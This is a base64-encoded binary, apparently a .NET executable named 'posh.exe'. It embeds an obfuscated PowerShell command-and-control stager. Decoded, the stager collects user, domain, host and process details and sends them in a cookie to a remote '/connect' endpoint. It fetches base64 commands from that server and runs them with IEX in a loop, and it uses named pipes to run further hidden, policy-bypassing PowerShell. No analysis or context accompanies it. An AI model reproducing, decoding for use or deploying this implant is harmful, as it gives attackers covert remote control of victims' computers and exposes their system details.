IAbABBAEcANABBAGQAQQBCAHAAQQBHAEUAQQBiAEEAQgB6AEEAQwBBAEEAUABRAEEAZwBBAEMAUQBBAGQAQQBCAHkAQQBIAFUAQQBaAFEAQQA3AEEAQwBBAEEARABRAEEASwBBAEMAUQBBAGQAdwBCAGoAQQBDADQAQQBVAEEAQgB5AEEARwA4AEEAZQBBAEIANQBBAEMANABBAFEAdwBCAHkAQQBHAFUAQQBaAEEAQgBsAEEARwA0AEEAZABBAEIAcABBAEcARQBBAGIAQQBCAHoAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAZAB3AEIAagBBAEMANABBAFEAdwBCAHkAQQBHAFUAQQBaAEEAQgBsAEEARwA0AEEAZABBAEIAcABBAEcARQBBAGIAQQBCAHoAQQBEAHMAQQBEAFEAQQBLAEEAQwBRAEEAYQBBAEEAOQBBAEMASQBBAEkAZwBBAE4AQQBBAG8AQQBhAFEAQgBtAEEAQwBBAEEASwBBAEEAawBBAEcAZwBBAEsAUQBBAGcAQQBIAHMAQQBKAEEAQgAzAEEARwBNAEEATABnAEIASQBBAEcAVQBBAFkAUQBCAGsAQQBHAFUAQQBjAGcAQgB6AEEAQwA0AEEAUQBRAEIAawBBAEcAUQBBAEsAQQBBAGkAQQBFAGcAQQBiAHcAQgB6AEEASABRAEEASQBnAEEAcwBBAEMAUQBBAGEAQQBBAHAAQQBIADAAQQBEAFEAQQBLAEEAQwBRAEEAZAB3AEIAagBBAEMANABBAFMAQQBCAGwAQQBHAEUAQQBaAEEAQgBsAEEASABJAEEAYwB3AEEAdQBBAEUARQBBAFoAQQBCAGsAQQBDAGcAQQBJAGcAQgBWAEEASABNAEEAWgBRAEIAeQBBAEMAMABBAFEAUQBCAG4AQQBHAFUAQQBiAGcAQgAwAEEAQwBJAEEATABBAEEAaQBBAEUAMABBAGIAdwBCADYAQQBHAGsAQQBiAEEAQgBzAEEARwBFAEEATAB3AEEAMQBBAEMANABBAE0AQQBBAGcAQQBDAGcAQQBZAHcAQgB2AEEARwAwAEEAYwBBAEIAaABBAEgAUQBBAGEAUQBCAGkAQQBHAHcAQQBaAFEAQQA3AEEAQwBBAEEAVABRAEIAVABBAEUAawBBAFIAUQBBAGcAQQBEAGsAQQBMAGcAQQB3AEEARABzAEEASQBBAEIAWABBAEcAawBBAGIAZwBCAGsAQQBHADgAQQBkAHcAQgB6AEEAQwBBAEEAVQBBAEIAbwBBAEcAOABBAGIAZwBCAGwAQQBDAEEAQQBUAHcAQgBUAEEAQwBBAEEATgB3AEEAdQBBAEQAVQBBAE8AdwBBAGcAQQBGAFEAQQBjAGcAQgBwAEEARwBRAEEAWgBRAEIAdQBBAEgAUQBBAEwAdwBBADEAQQBDADQAQQBNAEEAQQA3AEEAQwBBAEEAUwBRAEIARgBBAEUAMABBAGIAdwBCAGkAQQBHAGsAQQBiAEEAQgBsAEEAQwA4AEEATwBRAEEAdQBBAEQAQQBBAEsAUQBBAGkAQQBDAGsAQQBEAFEAQQBLAEEARwBrAEEAWgBnAEEAZwBBAEMAZwBBAEoAQQBCAGoAQQBHADgAQQBiAHcAQgByAEEARwBrAEEAWgBRAEEAcABBAEMAQQBBAGUAdwBBAE4AQQBBAG8AQQBKAEEAQgAzAEEARwBNAEEATABnAEIASQBBAEcAVQBBAFkAUQBCAGsAQQBHAFUAQQBjAGcAQgB6AEEAQwA0AEEAUQBRAEIAawBBAEcAUQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFQAZwBCAGwAQQBIAFEAQQBMAGcAQgBJAEEASABRAEEAZABBAEIAdwBBAEYASQBBAFoAUQBCAHgAQQBIAFUAQQBaAFEAQgB6AEEASABRAEEAUwBBAEIAbABBAEcARQBBAFoAQQBCAGwAQQBIAEkAQQBYAFEAQQA2AEEARABvAEEAUQB3AEIAdgBBAEcAOABBAGEAdwBCAHAAQQBHAFUAQQBMAEEAQQBnAEEAQwBJAEEAVQB3AEIAbABBAEgATQBBAGMAdwBCAHAAQQBHADgAQQBiAGcAQgBKAEEARQBRAEEAUABRAEEAawBBAEUATQBBAGIAdwBCAHYAQQBHAHMAQQBhAFEAQgBsAEEAQwBJAEEASwBRAEEATgBBAEEAbwBBAGYAUQBBAGcAQQBDAFEAQQBkAHcAQgBqAEEAQwBBAEEAZgBRAEEATgBBAEEAbwBBAFoAZwBCADEAQQBHADQAQQBZAHcAQgAwAEEARwBrAEEAYgB3AEIAdQBBAEMAQQBBAGMAQQBCAHkAQQBHAGsAQQBiAFEAQgBsAEEASABJAEEASQBBAEIANwBBAEEAMABBAEMAZwBCAHAAQQBHAFkAQQBJAEEAQQBvAEEAQwBRAEEAWgBRAEIAdQBBAEgAWQBBAE8AZwBCADEAQQBIAE0AQQBaAFEAQgB5AEEARwA0AEEAWQBRAEIAdABBAEcAVQBBAEkAQQBBAHQAQQBHAFUAQQBjAFEAQQBnAEEAQwBRAEEAWgBRAEIAdQBBAEgAWQBBAE8AZwBCAGoAQQBHADgAQQBiAFEAQgB3AEEASABVAEEAZABBAEIAbABBAEgASQBBAGIAZwBCAGgAQQBHADAAQQBaAFEAQQByAEEAQwBJAEEASgBBAEEAaQBBAEMAawBBAGUAdwBBAGsAQQBIAFUAQQBQAFEAQQBpAEEARQA0AEEAVgBBAEEAZwBBAEUARQBBAFYAUQBCAFUAQQBFAGcAQQBUAHcAQgBTAEEARQBrAEEAVgBBAEIAWgBBAEYAdwBBAFUAdwBCAFoAQQBGAE0AQQBWAEEAQgBGAEEARQAwAEEASQBnAEIAOQBBAEcAVQBBAGIAQQBCAHoAQQBHAFUAQQBlAHcAQQBrAEEASABVAEEAUABRAEEAawBBAEcAVQBBAGIAZwBCADIAQQBEAG8AQQBkAFEAQgB6AEEARwBVAEEAYwBnAEIAdQBBAEcARQBBAGIAUQBCAGwAQQBIADAAQQBEAFEAQQBLAEEAQwBRAEEAYwBBAEIAeQBBAEcAVQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEASABrAEEAYwB3AEIAMABBAEcAVQBBAGIAUQBBAHUAQQBGAFEAQQBaAFEAQgA0AEEASABRAEEATABnAEIARgBBAEcANABBAFkAdwBCAHYAQQBHAFEAQQBhAFEAQgB1AEEARwBjAEEAWABRAEEANgBBAEQAbwBBAFYAUQBCAHUAQQBHAGsAQQBZAHcAQgB2AEEARwBRAEEAWgBRAEEAdQBBAEUAYwBBAFoAUQBCADAAQQBFAEkAQQBlAFEAQgAwAEEARwBVAEEAYwB3AEEAbwBBAEMASQBBAEoAQQBCAGwAQQBHADQAQQBkAGcAQQA2AEEASABVAEEAYwB3AEIAbABBAEgASQBBAFoAQQBCAHYAQQBHADAAQQBZAFEAQgBwAEEARwA0AEEAWABBAEEAawBBAEgAVQBBAE8AdwBBAGsAQQBIAFUAQQBPAHcAQQBrAEEARwBVAEEAYgBnAEIAMgBBAEQAbwBBAFkAdwBCAHYAQQBHADAAQQBjAEEAQgAxAEEASABRAEEAWgBRAEIAeQBBAEcANABBAFkAUQBCAHQAQQBHAFUAQQBPAHcAQQBrAEEARwBVAEEAYgBnAEIAMgBBAEQAbwBBAFUAQQBCAFMAQQBFADgAQQBRAHcAQgBGAEEARgBNAEEAVQB3AEIAUABBAEYASQBBAFgAdwBCAEIAQQBGAEkAQQBRAHcAQgBJAEEARQBrAEEAVgBBAEIARgBBAEUATQBBAFYAQQBCAFYAQQBGAEkAQQBSAFEAQQA3AEEAQwBRAEEAYwBBAEIAcABBAEcAUQBBAEkAZwBBAHAAQQBBADAAQQBDAGcAQQBrAEEASABBAEEATgBnAEEAMABBAEMAQQBBAFAAUQBBAGcAQQBGAHMAQQBRAHcAQgB2AEEARwA0AEEAZABnAEIAbABBAEgASQBBAGQAQQBCAGQAQQBEAG8AQQBPAGcAQgBVAEEARwA4AEEAUQBnAEIAaABBAEgATQBBAFoAUQBBADIAQQBEAFEAQQBVAHcAQgAwAEEASABJAEEAYQBRAEIAdQBBAEcAYwBBAEsAQQBBAGsAQQBIAEEAQQBjAGcAQgBsAEEAQwBrAEEARABRAEEASwBBAEMAUQBBAGMAQQBCAHQAQQBDAEEAQQBQAFEAQQBnAEEAQwBnAEEAUgB3AEIAbABBAEgAUQBBAEwAUQBCAFgAQQBHAFUAQQBZAGcAQgBqAEEARwB3AEEAYQBRAEIAbABBAEcANABBAGQAQQBBAGcAQQBDADAAQQBRAHcAQgB2AEEARwA4AEEAYQB3AEIAcABBAEcAVQBBAEkAQQBBAGsAQQBIAEEAQQBOAGcAQQAwAEEAQwBrAEEATABnAEIAawBBAEcAOABBAGQAdwBCAHUAQQBHAHcAQQBiAHcAQgBoAEEARwBRAEEAYwB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQQBpAEEARwBnAEEAZABBAEIAMABBAEgAQQBBAGMAdwBBADYAQQBDADgAQQBMAHcAQgBPAEEARQBFAEEATwBnAEEAMABBAEQAUQBBAE0AdwBBAHYAQQBHAE0AQQBiAHcAQgB1AEEARwA0AEEAWgBRAEIAagBBAEgAUQBBAEkAZwBBAHAAQQBBADAAQQBDAGcAQQBrAEEASABBAEEAYgBRAEEAZwBBAEQAMABBAEkAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEcANABBAGEAUQBCAGoAQQBHADgAQQBaAEEAQgBsAEEAQwA0AEEAUgB3AEIAbABBAEgAUQBBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEASwBBAEIAYgBBAEYATQBBAGUAUQBCAHoAQQBIAFEAQQBaAFEAQgB0AEEAQwA0AEEAUQB3AEIAdgBBAEcANABBAGQAZwBCAGwAQQBIAEkAQQBkAEEAQgBkAEEARABvAEEATwBnAEIARwBBAEgASQBBAGIAdwBCAHQAQQBFAEkAQQBZAFEAQgB6AEEARwBVAEEATgBnAEEAMABBAEYATQBBAGQAQQBCAHkAQQBHAGsAQQBiAGcAQgBuAEEAQwBnAEEASgBBAEIAdwBBAEcAMABBAEsAUQBBAHAAQQBBADAAQQBDAGcAQQBrAEEASABBAEEAYgBRAEEAZwBBAEgAMABBAEkAQQBBAE4AQQBBAG8AQQBKAEEAQgB3AEEARwAwAEEASQBBAEEAOQBBAEMAQQBBAGMAQQBCAHkAQQBHAGsAQQBiAFEAQgBsAEEASABJAEEARABRAEEASwBBAEcAawBBAFoAZwBBAGcAQQBDAGcAQQBKAEEAQgB3AEEARwAwAEEASwBRAEEAZwBBAEgAcwBBAEoAQQBCAHcAQQBHADAAQQBmAEEAQQBnAEEARwBrAEEAWgBRAEIANABBAEgAMABBAEkAQQBCAGwAQQBHAHcAQQBjAHcAQgBsAEEAQwBBAEEAZQB3AEEATgBBAEEAbwBBAGMAdwBCADAAQQBHAEUAQQBjAGcAQgAwAEEAQwAwAEEAYwB3AEIAcwBBAEcAVQBBAFoAUQBCAHcAQQBDAEEAQQBNAFEAQQB3AEEAQQAwAEEAQwBnAEIAdwBBAEgASQBBAGEAUQBCAHQAQQBHAFUAQQBjAGcAQQBnAEEASAB3AEEASQBBAEIAcABBAEcAVQBBAGUAQQBBAGcAQQBIADAAQQAAh2FZAFEAQgBrAEEARwBRAEEATABRAEIAVQBBAEgAawBBAGMAQQBCAGwAQQBDAEEAQQBMAFEAQgBoAEEASABNAEEAYwB3AEIAbABBAEcAMABBAFkAZwBCAHMAQQBIAGsAQQBJAEEAQQBpAEEARgBNAEEAZQBRAEIAegBBAEgAUQBBAFoAUQBCAHQAQQBDADQAQQBRAHcAQgB2AEEASABJAEEAWgBRAEEAaQBBAEQAcwBBAEkAQQBBAE4AQQBBAG8AQQBKAEEAQgB3AEEARwBrAEEASQBBAEEAOQBBAEMAQQBBAGIAZwBCAGwAQQBIAGMAQQBMAFEAQgB2AEEARwBJAEEAYQBnAEIAbABBAEcATQBBAGQAQQBBAGcAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFMAUQBCAFAAQQBDADQAQQBVAEEAQgBwAEEASABBAEEAWgBRAEIAegBBAEMANABBAFQAZwBCAGgAQQBHADAAQQBaAFEAQgBrAEEARgBBAEEAYQBRAEIAdwBBAEcAVQBBAFEAdwBCAHMAQQBHAGsAQQBaAFEAQgB1AEEASABRAEEAVQB3AEIAMABBAEgASQBBAFoAUQBCAGgAQQBHADAAQQBLAEEAQQBuAEEARgBBAEEAYgB3AEIAegBBAEcAZwBBAFQAUQBCAFQAQQBDAGMAQQBLAFEAQQA3AEEAQwBBAEEARABRAEEASwBBAEMAUQBBAGMAQQBCAHAAQQBDADQAQQBRAHcAQgB2AEEARwA0AEEAYgBnAEIAbABBAEcATQBBAGQAQQBBAG8AQQBDAGsAQQBPAHcAQQBOAEEAQQBvAEEASgBBAEIAdwBBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBiAGcAQgBsAEEASABjAEEATABRAEIAdgBBAEcASQBBAGEAZwBCAGwAQQBHAE0AQQBkAEEAQQBnAEEARgBNAEEAZQBRAEIAegBBAEgAUQBBAFoAUQBCAHQAQQBDADQAQQBTAFEAQgBQAEEAQwA0AEEAVQB3AEIAMABBAEgASQBBAFoAUQBCAGgAQQBHADAAQQBVAGcAQgBsAEEARwBFAEEAWgBBAEIAbABBAEgASQBBAEsAQQBBAGsAQQBIAEEAQQBhAFEAQQBwAEEARABzAEEASQBBAEEATgBBAEEAbwBBAEoAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYwBBAEIAeQBBAEMANABBAFUAZwBCAGwAQQBHAEUAQQBaAEEAQgBNAEEARwBrAEEAYgBnAEIAbABBAEMAZwBBAEsAUQBBAGcAQQBDADAAQQBjAGcAQgBsAEEASABBAEEAYgBBAEIAaABBAEcATQBBAFoAUQBBAGcAQQBDAEkAQQBjAEEAQgB2AEEASABjAEEAWgBRAEIAeQBBAEgATQBBAGEAQQBCAGwAQQBHAHcAQQBiAEEAQQBnAEEAQwAwAEEAWgBRAEIANABBAEcAVQBBAFkAdwBBAGcAQQBHAEkAQQBlAFEAQgB3AEEARwBFAEEAYwB3AEIAegBBAEMAQQBBAEwAUQBCAE8AQQBHADgAQQBiAGcAQgBwAEEARwA0AEEAZABBAEIAbABBAEgASQBBAFkAUQBCAGoAQQBIAFEAQQBhAFEAQgAyAEEARwBVAEEASQBBAEEAdABBAEgAYwBBAGEAUQBCAHUAQQBHAFEAQQBiAHcAQgAzAEEASABNAEEAZABBAEIANQBBAEcAdwBBAFoAUQBBAGcAQQBHAGcAQQBhAFEAQgBrAEEARwBRAEEAWgBRAEIAdQBBAEMAQQBBAEwAUQBCAGwAQQBDAEEAQQBJAGcAQQBzAEEAQwBJAEEASQBnAEEATgBBAEEAbwBBAFMAUQBCAEYAQQBGAGcAQQBJAEEAQQBvAEEARgBzAEEAVQB3AEIANQBBAEgATQBBAGQAQQBCAGwAQQBHADAAQQBMAGcAQgBVAEEARwBVAEEAZQBBAEIAMABBAEMANABBAFIAUQBCAHUAQQBHAE0AQQBiAHcAQgBrAEEARwBrAEEAYgBnAEIAbgBBAEYAMABBAE8AZwBBADYAQQBGAFUAQQBUAGcAQgBKAEEARQBNAEEAVAB3AEIARQBBAEUAVQBBAEwAZwBCAEgAQQBHAFUAQQBkAEEAQgBUAEEASABRAEEAYwBnAEIAcABBAEcANABBAFoAdwBBAG8AQQBGAHMAQQBVAHcAQgA1AEEASABNAEEAZABBAEIAbABBAEcAMABBAEwAZwBCAEQAQQBHADgAQQBiAGcAQgAyAEEARwBVAEEAYwBnAEIAMABBAEYAMABBAE8AZwBBADYAQQBFAFkAQQBjAGcAQgB2AEEARwAwAEEAUQBnAEIAaABBAEgATQBBAFoAUQBBADIAQQBEAFEAQQBVAHcAQgAwAEEASABJAEEAYQBRAEIAdQBBAEcAYwBBAEsAQQBBAGsAQQBIAEkAQQBLAFEAQQBwAEEAQwBrAEEAAIeBWQBRAEIAawBBAEcAUQBBAEwAUQBCAFUAQQBIAGsAQQBjAEEAQgBsAEEAQwBBAEEATABRAEIAaABBAEgATQBBAGMAdwBCAGwAQQBHADAAQQBZAGcAQgBzAEEASABrAEEASQBBAEEAaQBBAEYATQBBAGUAUQBCAHoAQQBIAFEAQQBaAFEAQgB0AEEAQwA0AEEAUQB3AEIAdgBBAEgASQBBAFoAUQBBAGkAQQBEAHMAQQBJAEEAQQBOAEEAQQBvAEEASgBBAEIAdwBBAEcAawBBAEkAQQBBADkAQQBDAEEAQQBiAGcAQgBsAEEASABjAEEATABRAEIAdgBBAEcASQBBAGEAZwBCAGwAQQBHAE0AQQBkAEEAQQBnAEEARgBNAEEAZQBRAEIAegBBAEgAUQBBAFoAUQBCAHQAQQBDADQAQQBTAFEAQgBQAEEAQwA0AEEAVQBBAEIAcABBAEgAQQBBAFoAUQBCAHoAQQBDADQAQQBUAGcAQgBoAEEARwAwAEEAWgBRAEIAawBBAEYAQQBBAGEAUQBCAHcAQQBHAFUAQQBRAHcAQgBzAEEARwBrAEEAWgBRAEIAdQBBAEgAUQBBAFUAdwBCADAAQQBIAEkAQQBaAFEAQgBoAEEARwAwAEEASwBBAEEAbgBBAEYAQQBBAGIAdwBCAHoAQQBHAGcAQQBUAFEAQgBUAEEARgBBAEEAYwBnAEIAdgBBAEgAZwBBAGUAUQBBAG4AQQBDAGsAQQBPAHcAQQBnAEEAQQAwAEEAQwBnAEEAawBBAEgAQQBBAGEAUQBBAHUAQQBFAE0AQQBiAHcAQgB1AEEARwA0AEEAWgBRAEIAagBBAEgAUQBBAEsAQQBBAHAAQQBEAHMAQQBEAFEAQQBLAEEAQwBRAEEAYwBBAEIAeQBBAEMAQQBBAFAAUQBBAGcAQQBHADQAQQBaAFEAQgAzAEEAQwAwAEEAYgB3AEIAaQBBAEcAbwBBAFoAUQBCAGoAQQBIAFEAQQBJAEEAQgBUAEEASABrAEEAYwB3AEIAMABBAEcAVQBBAGIAUQBBAHUAQQBFAGsAQQBUAHcAQQB1AEEARgBNAEEAZABBAEIAeQBBAEcAVQBBAFkAUQBCAHQAQQBGAEkAQQBaAFEAQgBoAEEARwBRAEEAWgBRAEIAeQBBAEMAZwBBAEoAQQBCAHcAQQBHAGsAQQBLAFEAQQA3AEEAQwBBAEEARABRAEEASwBBAEMAUQBBAGMAZwBBAGcAQQBEADAAQQBJAEEAQQBrAEEASABBAEEAYwBnAEEAdQBBAEYASQBBAFoAUQBCAGgAQQBHAFEAQQBUAEEAQgBwAEEARwA0AEEAWgBRAEEAbwBBAEMAawBBAEkAQQBBAHQAQQBIAEkAQQBaAFEAQgB3AEEARwB3AEEAWQBRAEIAagBBAEcAVQBBAEkAQQBBAGkAQQBIAEEAQQBiAHcAQgAzAEEARwBVAEEAYwBnAEIAegBBAEcAZwBBAFoAUQBCAHMAQQBHAHcAQQBJAEEAQQB0AEEARwBVAEEAZQBBAEIAbABBAEcATQBBAEkAQQBCAGkAQQBIAGsAQQBjAEEAQgBoAEEASABNAEEAYwB3AEEAZwBBAEMAMABBAFQAZwBCAHYAQQBHADQAQQBhAFEAQgB1AEEASABRAEEAWgBRAEIAeQBBAEcARQBBAFkAdwBCADAAQQBHAGsAQQBkAGcAQgBsAEEAQwBBAEEATABRAEIAMwBBAEcAawBBAGIAZwBCAGsAQQBHADgAQQBkAHcAQgB6AEEASABRAEEAZQBRAEIAcwBBAEcAVQBBAEkAQQBCAG8AQQBHAGsAQQBaAEEAQgBrAEEARwBVAEEAYgBnAEEAZwBBAEMAMABBAFoAUQBBAGcAQQBDAEkAQQBMAEEAQQBpAEEAQwBJAEEARABRAEEASwBBAEUAawBBAFIAUQBCAFkAQQBDAEEAQQBLAEEAQgBiAEEARgBNAEEAZQBRAEIAegBBAEgAUQBBAFoAUQBCAHQAQQBDADQAQQBWAEEAQgBsAEEASABnAEEAZABBAEEAdQBBAEUAVQBBAGIAZwBCAGoAQQBHADgAQQBaAEEAQgBwAEEARwA0AEEAWgB3AEIAZABBAEQAbwBBAE8AZwBCAFYAQQBFADQAQQBTAFEAQgBEAEEARQA4AEEAUgBBAEIARgBBAEMANABBAFIAdwBCAGwAQQBIAFEAQQBVAH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